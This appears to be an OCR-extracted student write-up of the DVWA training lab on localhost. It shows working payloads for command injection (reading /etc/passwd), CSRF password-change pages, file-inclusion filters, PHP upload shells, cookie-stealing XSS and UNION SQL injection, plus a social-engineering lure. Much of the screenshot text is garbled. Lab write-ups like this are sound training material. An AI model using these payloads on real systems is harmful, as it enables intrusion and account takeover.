Waris Damkham

DVWA Lab
1. Vulnerability: Brute Force (Low)

T Vulnerability: Brute Force

Instructions | Login
Setup / Reset DB |
Username

BrueFoce | T
Command Injection [

CSRF |

J'chln |
File Inclusion |

File Upload Welcome to the password protected area admin
Insecure CAPTCHA [ | 1
SQL Injection |
SQL Injection (Blind) | -

Weak Session IDs M Int ti
XSS (DOM) ore Iinformation

XSS (Reflected) | s

XSS (Stored) | .

CSP Bypass
Javascript
Authorisation Bypass
Open HTTP Redirect

Method: Guess common password by type
Answer: Username: admin Password: password

Username: Admin Password: password

2. Vulnerability: Brute Force (Medium)

Method 1 : "Use the Intruder in Burp Suite to conduct an attack with wordlist
passwords.

B ® 0 ¢ O a8 01| @ e

2. Intruder attack of http://localhost:4280 - Temporary attack - Not saved to project file

Thursday 11 January 2024

Attack  Save  Columns
Results Positions Payloads Resource pool Settings

7 Filter: Showingallitems

Request Payload Statuscode  Error  Timeout Length Comment
4 password 200 48590
o 200 4652
1 123456 200 4652
2 123456789 200 4652
3 picturel 200 4652
5 12345678 200 4652
3 mm 200 4652
7 123123 200 4652
g 12345 200 4652
9 1234567890 200 4652
10 senha 200 4652
n 1234587 200 4852
13 bailey 200 4652
132 princess! 200 4652
133 101010 200 4652
134 12341234 200 4652
Request Response
Pretty Raw Hex Render =

= Vulnerability: Brute Force
Instructions Login
Setup / Reset DB
Username:
—]‘ Password: :

Login \

CSRF

File Inclusion
Welcome to the password protected area admin
File Upload

Insecure CAPTCHA I"m
SQL Injection |

SO Iniactinn Miind |

Finished
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Method 2: Use the Hydra tool to perform a brute force attack and obtain 16 possible
passwords. Copy these into a text file, and then use the Intruder in Burp Suite to
identify the correct one.

Bempo-

F waris @kali: ~

File Actions Edit View Help

admin /usr/share/wordlists/rockyou.txt 12 4280 http-post-form
or passwc i t

Hydra v9.5 (c) 2 / C & David Maciejak not use in milita r secret s a or for illegal purposes (this is no
n-binding y)

g, these i cs ar y).

Hydra . r c/thc-hyd
[DATA] ma - > E r, overall 16 tasks
[DATA t t / .0.1: 1 rnam A J 2 r password incorrect

1
1
1
1
1
1
1
% |
.1
1
1
1
1
1
1
1

form] ho: 1
successfully completed,
//github.com, nhauser-thc/ finished &

password. txt
80]1[http-post-form] host:
4280]1[http-post-form] host:
J[http-post-form]
0][http-post-for
280][http-post-for

login: admin password:

login: admin password:

login: admin password:

login: admin password: password
login: admin password: jessica
login: admin  password: 123456789
login: admin  password: iloveyou
login: admin password: princess
login: admin  password:

login: admin  password: 12345678
login: admin  passwo abcl123
login: admin  password: nicole
login: admin passwor daniel
login: admin password: babygirl
login: admin password: monk
login: admin password: lovely

J[http-post-form] host
J[http-post-form] host:

.0.
.0.
.0.
.0.
.0.
.0.
.0.
.0.
.0.
.0.
0.
.0.
.0.
.0.

password. txt 1 listpass.txt

4. Intruder attack of http://localhost:4280 - Temporary attac

listpass.txt

Attack Save  Columns

Results Positions Payloads Resource pool Settings
V Filter: Showingallitems

Request Payload Status code Error  Timeout Length Comment

4 password 200 4690
princes L] 200 4652
rockyou 1 1234567 200 4652

2 12345 200 4652

3 123456 200 4652

5 jessica 200 4652

B 123456789 200 4652

7 iloveyou 200 4652

8 princess 200 4652

rockyou 200 4652
12345678 200 4652
abc123 200 4652

12 nicole 200 4651

13 daniel 200 4651

14 babygirl 200 4651

15 monkey 200 4651

16 lovely 200 4651

Request Response
Pretty Raw Hex Render
HISUuLUUNS [ Logln
Setup / Reset DB |
S Username:

l |
oruteForcs | Password

Command Injection ‘ \ I
CSRF 1

File Inclusion

File Upload |

| Login |
Welcome to the passwaord protected area admin

Insecure CAPTCHA |
SQL Injection |

SQL Injection (Blind) \
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3. Vulnerability: Command Injection (Low)

Ping a device -

Enter an IP address: [ | [ Submit |

PING 127.0.0.1 (127.0.8.1) 56(84) bytes of data.

64 bytes from 127.6.08.1: icmp_seq=1l ttl=64 time=08.097 ms
64 bytes from 127.0.8.1: icmp seq=2 ttl=64 time=0.096 ms
64 bytes from 127.06.08.1: icmp_seq=3 ttl=64 time=8.106 ms
64 bytes from 127.0.8.1: icmp_seq=4 ttl=64 time=8.111 ms

Z- 137.8.8.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3049ms
rtt min/avg/max/mdev = 0.096/0.102/0.111/0.006 ms

CHANGELOG . md
COPYING. txt
README . ar.md
README . es.md
README. fa.md
README. fr.md
README. id . md
README .md
README . pt.md
README . tr.md
README. zh . md
SECURITY.md
about.php
config
database
docs

dvwa
external
favicon.ico
hackahle
index.php
instructions.php
login.ph|
logout. php
php.ini
phpinfo.php
robots.txt
security.php
securl:g.tzt
setup.php
tests
vulnerabilities

The clue is in its name, DVWA contains both intentional and unintentional vulnergbliities, that is it's whole point, please do not try to report them. _

Method: In this code, there isn't a blacklist for ';', '&&', or '|', allowing the user to
continue the command. That's why | can type '127.0.0.1; echo -'; cd ../..; echo ''; Is ;
echo '--"; cat security.txt', as shown in the picture.

4. Vulnerability: Command Injection (Medium)

& Vulnerability: Comman x| +

= C @ localhost

Vulnerability: Command Injection

Ping a device

Enter an IP address: | | Submit |

2 -D_LARGEFILE SOURCE -D_FILE_QFFSET_BITS=64

75603EB4ABB725861C07790C5C0A9DE4 AFD8691FDAEDFO3BDFEE460563F15A9B715376CA
sc

LE SOURCE -D FILH OFFSET BITS=64

g++ gee Libc-dev make pkg-config re2c

9e82945122d816b1741a352fa05259733b1e9758

Method: This code includes a blacklist for '&&' and ';', preventing the user from
continuing the command. However, we can still add '|', which allows running a second
command following the first one. Additionally, we can use '>', '<', '#', and
'S(<command>)'. In this instance, the command used in the picture is '127.0.0.1 | env'.
The 'env' command is used to run a program in a modified environment, or, when used
without arguments, it displays the current environment variables and their values.



5. Vulnerability: Command Injection (High)

P A o
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6. Vulnerability: Cross Site Request Forgery (Low)

- TR

The original credentials is Username: admin Password: password

Method: When we changed the password the URL is show like this

Vulnerability: Command Injection

Ping a device

Enter an IP address | l\ Submit

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemen: /usr/sbin:/usr/sbin/nologin
:bin:/bin:/usr/sbin/nologin
3 :3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:i/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin;:/usr/sbin/nologin
www-dataix:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircd:/run/ircd: /usr/sbin/nologin

apt:x:42:65534:: /nonexistent:/usr/sbin/nologin
nobody:x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin
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' This code incorporates a blacklist, as shown in the image below, which is
' intended to prevent the user from continuing the command. However,

! upon examining the blacklist, a vulnerability is identified with the

: inclusion of '| ". This allows for the execution of additional commands.

account information, despite the blacklist.

Vulnerability: Cross Site Request Forgery (CSRF)

Home

Instructions

Setup I Reset DB

Change your admin password:

Test Credentials =
L — O D 27001 .
Command Injection
New password: .
SR ey Test Credentials
File Inclusion Confirm new password:
File Upload VulnerabilitiesICSRF
Insecure CAPTCHA Change
SQL Injection Password Changed Valid password for ‘admin'
SQUnjection (Bind) | Usemame
Weak Session IDs admin
Note: Browsers are starting to defauff | - =
XSS (DOM) some types of CSRF attacks. When 2]
expected. | |eeeeseee
XSS (Reflected)
XSS (Stored) ‘Announcements: Login
CSP Bypass 2
Javascript .
é“mar““la" S As an alternative 10 the normal attach
Open HTTP Redirect using other vuinerabilfies In this app)

More Information

» Damn Vulnerable Web Application (DVWA)Test Credentials — Mozilla Firefox

http://127.0.0.1:4280/vulnerabilities/csrf/?

Forinstance, '127.0.0.1|pwd' could be used as an example to exploit this
vulnerability. In the image above, the command '127.0.0.1|cat
/etc/passwd' is used to demonstrate how one can view a list of user

passwnrd_new:pa5sword&paﬁswurd_c0nF:password&thangezchangeﬂ

That we can see the vulnerable that we can input the

“?password_new=Hi&password_conf=Hi&Change=Change#"”

to change the password without input and change in UL.
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And | can use basic social engineering to send the HTML file that have the change
password link that the victim click it change there password that | already set the
password.

(5]

Click here to Get free wifi EE

C @

KaliLinux @ Kali Tools « KaliDocs ¥ Kali Forums e Kali NetHunter

O file:///home/waris/Desktop/CSRF.html

Exploit-DB % Google Hacking DB /" OffSec

\ Go to Example.com |

215

~IDesktop/CSRF.html - Mousepad
Edit Search V
o] mC x

Jocument Help

=)

Click here to Get free wifi

0.0.1:4280/
Go to Example.co

® | & Vulnerability: Cross Site +

“ C @ O DO 127.0.0.1:42¢ erabilitie sssword_new=KPMG& v conf

KaliLinux & KaliTools = KaliDocs ¥ KaliForums o Kali NetHunter Exploit-DB OffSec

Vulnerability: Cross Site Request Forgery (CSRF)

Google Hacking DB

% Change your admin password:
Setup / Reset DB =

Damn Vulnerable Web Application (DVWA)Test Credentials — Mozilla Firefox

File Upload (I

Brute Force = O D 127.0.0.1:428
c \
‘ NK‘\H' o
\ : eneeense | Test Credentials
File Inclusion

| Confirm new password:
‘ VulnerabilitiesICSRF

Insecure CAPTCHA \ [ change
SQL Injection ‘ Password Changed. Valid password for '‘admin’
sQL (Blind) | .

FSD Aunace

Weak Session IDs [admin
Note: Browsers are starting to defal] | ===
XSS (DOM) | some types of CSRF attacks. When
ety [iFssaese
XSS (Reflected) |
XSS (sm Announcements: ‘ LOgH‘\ ‘

The password have been change to KPMG




Waris Damkham

7. Vulnerability: Cross Site Request Forgery (Medium)

® O Vulnerability: CrossSite © X+

C @ O D o 127.001

# KaliTools « KaliDocs W Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

jarni y key "HTTP_REFERER hp on line 5

(Home. Vulnerability: Cross Site Request Forgery (CSRF)
Instructions
Setup/ Reset DB

Change your admin password:

Test Credentials

Brute Force

seommmendinNeon SN

‘File Inclusion

File Upload

s CARTCHANINS| Chee:

SQL Injection ] Thiart S ceremrm T st o6 e (rmct

As we can see that we cannot use the method as same as the low level

Method: | used burp suit to intercept when change the password in Ul page. That we
can see that “HTTP_REFERER" is the
“http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=1&password_conf=1&Chan
ge=Change” that contain the old password.

khtml>
<head>
</head>
<body onload="change password()">
<script>
function change password(){
const request = new XMLHttpRequest();
const url = 'http://127.0.0.1:4280/vulnerabilities/csrf/?password new=HI&password conf=HI&Change=Change#';

request.open("GET", url);
request.send();

</script>
</body>
</html>

First, i create the malicious HTML file that on_load the URL that change the password
link like in the above picture.

Second, that i file the way to upload HTML file to the
server. | found that | can upload in file upload section
A NI i o wit low level security.

| Browse... | No file selected

Vulnerability: File Upload

| Upload |

Next, after uploaded the file it will
give the URL path that we can go
there to load my malicious file.

Choose an image to upload:

| Browse... | No file selected.
| Uploadi\

../../hackable/uploads/CSRF_js.html succesfully uploaded!

Finally, after finished upload change the security level back to Medium level and load
the URL to “hackable/uploads/CSRF_js.html” after this the password have been
changed.

We can send the full URL that file that | upload malicious file to victim after theme click
that link I will on load script and change there password.
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8. Vulnerability: File inclusion (Low)

& e QO D 127.0.0.1:4280/vulnerabilities/f - f/filter/convert.base64-encode/rest

Kali Linux & KaliTools = KaliDocs & KaliForums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec
PD9waHAKCmImKCAZGVmaWsIZCggJORWVOFIVOVCX1BBROVIVESfUKIPVCcgKSApIHSKCWV4aX QgKCIOaWNIIHRyeSA7LSkulFVzZZSB0aGUgZmIsZSBpbmNsdWRIIG5leHQgdGIZSEIK TsKIQoKPz4K CJEUK SBCb25KLIBK YW 1icyBCH

PgoKPCEILSALLikgVGhlIHdvcmxklGIzbid0IHI1biBie SB3ZWFwb25zIGFueW 1vemUsIGOyIGVUZ X JneSwgb3IgbWIuZXkulEI0J3MgcnVul GISIGxpdHRSZSBvbmVzIGFUZCBGZXIvVZ. pdHRSZSBiaXR: JaMgYWxsiGH
Warning: Cannot modify header information - headers already sent by (output started at fii.php:1) in ge.inc.php on line 325
Warning: Cannot modify header information - headers already sent by (output started at I fi.php:1) in i .inc.php on line 326
Warning: Cannot modify header information - headers already sent by (oulput started at fii.php:1) in i .inc.php on line 327

File Actions Edit View Help

RQ‘
dXNpbmVz
cmUgYXJ@IHRob3UgUm9tZW8/1jsKIGxpbmUzID@gIiAtTELOD
j giIC4gT1IVWINCeWIyOW1IRZEIIC4gIjFjMIFNYU
/PgoKPCEtLSA1LikgVGh1IHdvc| kIGl bid@IHJI1biBies v IGFueWlvemU
mIGRhdGEUIE10I3M 3Qg? =

if( tdefined( ' PAGE_TO_ROOT' ) ) {
exit (" e try ¥ e the file include next time

1.) Bond. James Bond

is Sherlock Holmes. It is my business to know what other people don't know.\n\n<br /><br />\n";
Romeo, Romeo! Wherefore art thou Romeo?";
e INE HIDDEN ;)--";
echo $line3 . "\n\n<br r

"IG9uIH" . "RoZSBy nIG . 136 - 52Z5Bh% - TIGXEYS . cMsut;

¢— 5.) The world isn't run by ons anymore, or energy, or money. It's r by little ones and zeroes, little bits of data. It's all just electrons. —

Method: First, | input
“127.0.0.1:4280/vulnerabilities/fi/?page=../../hackable/flags/fi.php” but the output is
not five Quotes that except in objective after | view the code in inspect that have some
code in comment that why i used the filter in PHP to covert to base64 to read the full
code.

9. Vulnerability: File inclusion (Medium)

(& C @ O D 127.0. 3 erabilities/f > filt nvert.base64-¢

Kali Linux # KaliTools <« KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

DDSMaHAKCm\mKCAhZGVmaWSIZngJDRWVOFNDVCX1BEROVNEQ!UkQDVchKSApIHsKCVN4aXQgKCJOaWN\IHRyeSA7LSkuIszZSBOaGUmeIsZSprmNdeRIIGSIeHdiG\lZSEwKTstQoKPzAKunKSBCDZSkLwBKYWlIcyBCb
quKPCEtLSAJ.LIkgVGhHHa\tcmkuGIzmeIHJJ.D|B|eSBBZWFWDZSIIGFuewlvchslG?yIGVuZXJnevagb3\ghWQuZXkuIEIDJSMQCHVUIGJSIGXDUHRS 'ZIGFUZCB6ZXIVZ> pdHRSZSBiaXR: RhdGEUIEINI3MgYWxsIG

Warning: Cannot modify header information - headers already sent by (output started at fi.php:1) in Linc.php on line 325
Warning: Cannot modify header information - headers already sent by (output started at / / fi.php:1) in .inc.php on line 326
Warning: Cannot modify header information - headers already sent by (output started at varswww/htmihackable/flags/fi.php:1) in fv vIihtmi/dvwa des/dvwaPage.inc.php on line 327

Method: Same as method File inclusion Low level security but | change the payload a
little bit because the server code is block "../", "..\\" that | need to input like this

J-> ../

The full URL be like:
http://127.0.0.1:4280/vulnerabilities/fi/?page=php://filter/convert.base64-
encode/resource=..././..././hackable/flags/fi.php

And the output is same base64 text and we need to decode and got the full code in
plain text.
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10.  Vulnerability: File Upload (Low)

Vulnerability: File Upload

Choose an image to upload:
I Browse... | No file selected.
{Upbadl

../../hackable/uploads/low.php succesfully uploaded!

Method: | create the malicious file that contain command “cat /etc/passwd” and then
upload into the server. And after go to the path | will get the list of user account
information.

&« C @ QO O 127.0.0.1:4280/hackable/uplc

[ J *~/Desktop/low.php - Mousepad

KaliLinux @& Kali Tools « KaliDocs X KaliForums & Kali NetHunter
File Edit Search Vie cument Help

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: fusr/sbin: /usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin 8 B OBEE x S
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin:/bin/sync
games:x:5:60:games:/usr/games: /usr/sbhin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin system
news:x:9:9:news:/var/spool/news: /usr/shin/nologin
uucp:x:10:10: uucp: /var/spool/uucp:/usr/sbin/noloegin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:24:backup: /var/backups: fusr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd: /usr/sbin/nologin

_apt:x:42:65534: :/nonexistent: /usr/sbin/nologin

nobody: x:65534:65534 :nobody: /nonexistent:/usr/sbin/nologin

Last line of the output: nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Return value: 0

11.  Vulnerability: File Upload (Medium)

Vulnerability: File Upload

Choose an image to upload
\ Choose File \ No file chosen
| Upload |

Your image was not uploaded. We can only accept JPEG or PNG images.

Method: | create the malicious file that contain command “env” and then upload into
the server. And after go to the path | will get the current environment variables and
their values. But before we do this | need to burp suite and change the Content-Type
before because the server can upload only images file.

Content-Type = application/x-phpt —> image/png



------ WebKitFormBoundarylhlALLVVNLZreq2v
Content-Disposition: form-data; name="uploaded";
Content-Type: image/png]|

filename="mid.php

=?php
echo '=pre=';

$last_line = system('env', $retval);

echo '
</pre=

Yo €|
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. Vulnerability: File Upload

Choose an image to upload
| choose File | No file chosen
| Upload |

../ ../hackable/uploads/mid.php succesfully uploaded!

APACHE CONFDIR=/etc/apache2
HOSTHAME=ed945b644358

PHP_INI DIR=/usr/local/etc/php
SHLVL=0

PHP_LDFLAGS=-W1,-01 -pie
APACHE_RUN_DIR=/var/run/apache2

PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE SOURCE -D_FILE OFFSET BITS=64

PHP VERSION=8.3.1
APACHE PID FILE=/var/run/apache2/apache2.pid

GPG_KEYS=1198C8117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5COA9DE4 AFDB6I1FDAEDFO3BDFEE460563F15A9B715376CA

PHP_ASC_URL=https://www.php.net/distributions/php-8.3.1.tar.xz.asc

PHP_CPPFLAGS=- fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE OFFSET BITS=64

PHP_URL=https://www.php.net/distributions/php-8.3.1.tar.xz
PATH=/usr/local/sbin: /usr/local/bin: /usr/sbin: /usr/bin:/sbin:/bin

APACHE LOCK DIR=/var/lock/apache2

LANG=C

APACHE_RUN_GROUP=www-data

APACHE_RUN_USER=www-data

APACHE_LOG_DIR=/var/log/apache2

PWD=/var/www/html/hackable/uploads

PHPIZE DEPS=autoconf dpkg-dev file g++
DB_SERVER=db
PHP_SHA256=56445b1771b2ba5bh7573453f0e8a9451e2d810b1741a352fa05259733b1e9758
APACHE_ENVVARS=/etc/apache2/envvars

Llibc-dev make pkg-config re2c

Last line of the output: APACHE ENVVARS=/etc/apache2/envvars

Return value: 0

12.  Vulnerability: Open HTTP Redirect (Low)

Vulnerability: Open HTTP Redirect

Hacker History

Here are two links to some famous hacker quotes, see if you can hack them.

Method: We can redirect to the another page by input the URL like
“127.0.0.1/vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja”
because the code is not block any parameter in the URL.

13.  Vulnerability: Open HTTP Redirect (Medium)

Method: It same as the low level,We can redirect to the another page by input the
URL like “127.0.0.1/vulnerabilities/open_redirect/source/low.php?redirect=//digi.ninja”
because the code is block only http and https in front of the parameterin the URL.
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14.  Vulnerability: Authorisation Bypass (Low)

e | Vulnerability: Authorisation Bypass

Instructions | This page should only be accessible by the ad|r.i|'|‘u5er. Your challenge is to gain access to the features using
one of the other users, for example gordonb / abc123.

Setup | Reset DB

W af oS loase oy W car'e detrils
Brute Force Welcome to the user manager, please enjoy updating your user's details.

] First Name Surname Update
|Bob || smith | [Update |

Command Injection
CSRF

[Pablo |[Picasso_ |[Update |

5
N . 4
File Inclusion —— o ECRE S
3 |Hack | |nte | Update |
2
1

File Upload

|Gordon | [Browin | Update |

|

|

|

|

|
Insecure CAPTCHA |
SQL Injection |
SQL Injection (Blind) |
|

|

|

|

|

|

|

[admin | [admin | (Update |

Weak Session IDs
XS5 (DOM)

XSS (Reflected)
XSS (Stored)
CSP Bypass

JavaScript
Open HTTP Redirect

DVWA Security |
PHP Info |
About |

Logout |

Username: gordonb View Source | View Help
Security Level: low —
Locale: en

SQLi DB: mysql

Method: In the low level of the security, they didn’t have any code to prevent the
another user access the admin. Everyone can find this page if there know the URL.

15. Vulnerability: Authorisation Bypass (Medium)

¢J 127.0.0.1:4280/vulneral x|+

C @ 127.0.0.1:428(

1","first_name";"admin","surname":"admin" } { "user_id" first_name":"Gordon","surname":"Brown" },{ "user_id":"3","first_name":"Hack","surname”;"Me"},
{"user_id":"4","first_name":"Pablo”,"surname":"Picasso"},{ "user_id":"5","first_name":"Bob","surname":"Smith"} ]

Method: In the medium level of the security, they have a code to prevent the another
user access the admin. But they have the page in PHP that return the user data in PHP.
| Found that by using OS Command injection to list them. Like this “127.0.0.1;cd../..;
cd vulnerabilities/authbypass && |s && cat get_user_data.php”
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—
: icmp_seqg=1 ttl=64 time=0.070 ms
: icmp_seq=2 ttl=64 time=0.057 ms
! lcmp_seg=3 ttl=64 time=0.042 ms
: icmp _seq=4 ttl=64 time=0.873 ms

64 bytes from 127.
64 bytes from 127.
64 bytes from 127.
64 bytes from 127.

--- 127.0.0.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3051lms
rtt min/avg/max/mdev = 0.042/0.060/0.073/0.012 ms
authbypass.js

change user_details.php

get user data.php

help
index.php
source

"fail"”, "error" => "Access denied"));

exit;

}
$query = "SELECT user_id, first name, last name FROM users";
sresult = mysqli query($GLOBALS["  mysqli ston"], $query );

$guestbook = 3
susers = array();

while ($row = mysqli_ fetch_row($result) ) {

if( dvwaSecuritylLevelGet() == 'impossible' ) {
$user id = $row[0];
$first name = htmlspecialchars( $row[l] );
$surname = htmlspecialchars( $row[2] );

} else {
$user id = $rowl0];
$first name = Srow[1]
$surname = $row[2]

}

$user = array (
"user id" => $user id,
"first name" == $first name,
"surname" => $surname

$users[] = $user;

16. Vulnerability: Weak Session IDs (Low)

fmE PO 2 4_| ] O ¢ A © 1606

® @ online-R Shell Ge X €2 Vulnerability: Weak Ses

C @ O DO 127.0.0.1:4280/w

Kali Linux @ KaliTools < KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

o Vulnerability: Weak Session IDs
Instructions This page will set a new cookie called dvwaSession each time the button is clicked.
Setup / Reset DB | Generate

M Network {} Style Editor () Performa O Memc
I+ Q @

& 127.00 vulnerabilities/weak_id/ document html 156 kB

The objection of this task is to analyze and understand the method of session ID
generation employed at the low-security level, specifically focusing on the current
approach which generates a mere single number for each new session.
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17. Vulnerability: Weak Session IDs (Medium)

© Vulnerability: Weak Sess: % @ New chat

QO DO 127.0.0.1:4

Kali Linux #& KaliTools « KaliDocs N KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

— Vulnerability: Weak Session IDs
Instructions This page will set a new cookie called dvwaSession each time the button is clicked.
Setup / Reset DB | Generate

The objection of this task is to analyze and understand the method of session ID
generation employed at the mid-security level, specifically focusing on the current
approach which generates a number by the current time for each new session.

18.  Vulnerability: Content Security Policy Bypass (Low)

adb:adblk_no

Method: In the low level of security, they set the website that can allow run script like

pastebin that we can craft own JavaScript like “alert(document.cookie)” to alert cookie
like the picture above.
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19.  Vulnerability: Content Security Policy Bypass (Medium)

First, | run the Command injection to see the find the directory of CSP Medium PHP file
like this

“127.0.0.1; cd ../.. ; cd vulnerabilities/csp ; Is ; cd source ; Is”
Second, | find the encoded of the medium.php to see the source code

“http://127.0.0.1:4280/vulnerabilities/fi/?page=php://filter/convert.base64-
encode/resource=../../vulnerabilities/csp/source/medium.php”

PDSWaHAKCIROZWHKZXIDUTAGPSAIQ28uaGVIC 1T ZWNIomI0eS1Qb2xpY AKBIHNjcmiwdC 126mMgJ3NIBG Y niCaibaNhzmL Y2UVG1WMIpY WY M1jZ2RHO NWIZVWAKWEESJZ50WoKaG
Warning: Cannot modify header information - headers already sent by (output started at ulr P e/medium.php:1) in ge.inc.php on line 325

Warning: Cannot modify header information - headers already sent by (output started at ulr ium.php:1) in i ge.inc.php on line 326

Warning: Cannot modify header information - headers already sent by (output started at ulr it D Jm.php:1) in .inc.php on line 327

After that we decode out the see the plain text of the source code

f' 'unsafe-inline’ "nonc

Method: In the medium level of security, they set the website that can allow run script
but need the nonce within script to run that we can craft own JavaScript like “<script
nonce="TmV2ZXIgZ29pbmcgdG8gz2(2ZSB5b3UgdXA=">alert(document.cookie)</scri
pt>" to alert cookie like the picture above.

@ 127.0.0.1:4280

security=medium; _ga=GA1.1.2037304957.1705292456;
_gid=GA1.1.152245318.1705292456;
_ga_ZWIR02LL55=G51.1.1705292456.1.0.1705292456.60.0.0; csm-
hit=tb:E40NPKVH3RDS6KD8Y6WB+s-
E40NPKVH3RDS6KD8Y6WB|1705303035813&1:1705303035813&
adb:adblk_no




Waris Damkham

20.  Vulnerability: JavaScript (Low)

Vulnerability: JavaScript Attacks

Submit the word "success” to win.

Invalid token.

Phrase |ChangeMe |[ submit |

RMava InfAarmatian

After, input the “success” it said Invalid token that | use burp suite to see the request
that | fFound that they have token.

21 Connection: close
22

23 token=8b479aefhda0795395bh3e 705890 0dc@9&phrase=ChangeMe&send=Submit

The token is the hash MD5 after that | found in the source code that they encode with
rot13.

function rotl3(inp) {
return inp.replace(/[a-zA-Z]/g, function(c){return String. fromCharCode(

}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rotl3(phrase});

Method:

First, | encode “sucess” with
rot13 that I got the word
“Fhpprff”

Next, | hash the word “Fhpprff” with
MD5

Finally, I use this hash and word sucess in burp suite request to sent in to DVWA
website.

AN L L LLUDSC

token=38581812b435834ebf8debcc2cmd24d6iphrase=successisend=5ubmit

Vulnerability: JavaScript Attacks

Submit the word "success” to win.

Well done!

Phrase | ChangeMe | | Submit
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21.  Vulnerability: JavaScript (Medium)
Vulnerability: JavaScript Attacks

Submit the word "success” to win.

Invalid token.

Phrase | ChangeMe || Submit |

After, input the “success” it said Invalid token that | use burp suite to see the request
that | found that they have token.

token=XXeMegnahCX¥&phrase=ChangeMe&send=Submit

The token pattern is weird that | look in the source code that | found the JS file that
run the pattern. That | create the HTML file to run this JS.

[ChangeMe ‘ E] waris @kali: ~/Desktop
XXeMegnahCXX File Actions Edit View Help
CSRF.html CSRF_js.html JS.html low.php mid.php

— )-[~/Desktop
= 3s.html
<!DOCTYPE html>
<html>
<head>
<title>JavaScript Example</title>
</head>
<body>
<input type="text" id="phrase" value="ChangeMe">
<div id="token"></div>
<script>

function do_something(e) {
var t = "%;
for (var n = e.length - 1; n 2
t += e[n];
}

return t;

}

function do_elsesomething(e) {
var reversedString = do_something(e + document.getElementById("phrase”).value + "XX");
document.getElementById( "token").textContent = reversedString;
}
setTimeout(function() { do_elsesomething("XX") }, 300);
</script>
</body>
</html>

It the same as in the burp suite that | change the input “ChangeMe” to “success” and
the output is “XXsseccusXX”. | use this as the token and this is the output.

token=Xksseccus¥i&phrase=success&send=5Submit

Vulnerability: JavaScript Attacks

Submit the word "success” to win.

Well done!

Phrase | ChangeMe | | Subrmit




22.  Vulnerability: SQL Injection (Low)

Waris Damkham

Method: In low security level, | see the query code it “SELECT first_name, last_name
FROM users WHERE user_id = (input)”

First, I try input 1 =1"or '0' ='0 this is the output like image below:
Vulnerability: SQL Injection

User ID:

ID: 1 =1 or '@
First name: admin
Surname: admin

ID: 1 =1" or '@ = '

First name: Gordon
Surname: Brown

ID: 1 =1" ar "6 = *

First name: Hack
Surname: Me

ID: 1=1"or '@" =

First name: Pablo
Surname: Picasso

ID: 1=1'or '0' ="'

First name: Bob
Surname: Smith

[ submit

The output is the Full name of all user

The Full query be like “SELECT First_name, last_name FROM users WHERE user_id = 1 =

1' or loi - lol;"

Next, query to see the Database version. linput 1=1"or '0' = 0 union select null,

version() #

The output is the Full version of the Database (MariaDB)

Vulnerability: SQL Injection

User ID: Submit

ID: 1 =1' or '@" = ® union select null,

First name: admin

Surname: admin

ID: 1 =1' or '8" = ® union select null, version()
First name: Gordon

Surname: Brown

ID: 1 =1' or '@' = ® union select null, version(
First name: Hack

Surname: Me

ID: 1 =1' or '6" = @ union selec ill, vers (
First name: Pablo

Surname: Picasso

D: 1 b r '@' = 0 union select null, ver 1
First name: Bob

Surname: Smith

ID: 1 =1' or '0' = O union select null, version()
First name:

Surname: 10.11.6-MariaDB-1:10.11.6+maria~ubu2204

The full query be like “SELECT first_name, last_name FROM users WHERE user_id =‘1 =
1'or '0' = 0 union select null, version() #”
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Next, query to see the table name. linput 1 =1"' UNION SELECT table_name, NULL
FROM information_schema.tables #

IUT rTanne .

ID: 1 = 1' UNION SELECT table name, NULL FROM information schema.tables #
First name: THREAD POOL STATS
Surname:

ID: 1 = 1' UNION SELECT table name, NULL FROM information schema.tables #
First name: guestbook
Surname :

ID: 1 = 1' UNION SELECT table name, NULL FROM information schema.tables #
First name: users
Surname:

The output is the name of the users table name

The full query be like “SELECT first_name, last_name FROM users WHERE user_id=1 =
1' UNION SELECT table_name, NULL FROM information_schema.tables #”

Next, query to see the columns in users table name .Iinput 1 =1" UNION SELECT
column_name, NULL FROM information_schema.columns WHERE table_name= 'users’
#

Vulnerability: SQL Injection

User ID: \Suﬁmt |

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE table name= 'users' #
First name: admin
Surname: admin

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE {able name= 'users' #
First name: user_id
surname:

